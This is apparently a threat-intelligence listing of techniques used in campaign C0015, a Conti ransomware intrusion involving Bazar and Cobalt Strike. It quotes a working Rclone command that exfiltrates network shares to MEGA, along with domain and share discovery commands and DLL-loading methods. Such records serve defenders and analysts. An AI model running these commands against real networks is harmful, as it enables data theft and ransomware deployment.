DFIR Conti Bazar Nov 2021

During C0015, the threat actors obtained files and data from the compromised network.

During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.

During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.

During C0015, the threat actors used RDP to access specific network hosts of interest.

During C0015, the threat actors used Base64-encoded strings.

During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.

The Rclone "chunker" overlay supports splitting large files in smaller chunks during upload to circumvent size limits.

During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.

During C0015, the threat actors collected files from network shared drives prior to network encryption.

Cobalt Strike can use WMI to deliver a payload to a remote host.

During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.

Cobalt Strike can inject a variety of payloads into processes dynamically chosen by the adversary.

During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.

During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.

During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.

Conti can utilize command line options to allow an attacker control over how it scans and encrypts files.

During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.

During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.

During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.

During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups.

Bazar can use HTTP and HTTPS over ports 80 and 443 in C2 communications.

During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.

During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.

During C0015, the threat actors downloaded additional tools and files onto a compromised network.

During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.

During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.

During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.

During C0015, the threat actors used `mshta` to execute DLLs.

During C0015, the threat actors employed code that used `regsvr32` for execution.

During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.

Cobalt Strike can use `rundll32.exe` to load DLL from the command line.

During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.

During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.

Conti can use CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti can use “Windows Restart Manager” to ensure files are unlocked and open for encryption.

During C0015, the threat actors used Conti ransomware to encrypt a compromised network.

For C0015, the threat actors used DLL files that had invalid certificates.

For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.

Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.

During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.

For C0015, the threat actors used Cobalt Strike and Conti ransomware.

For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.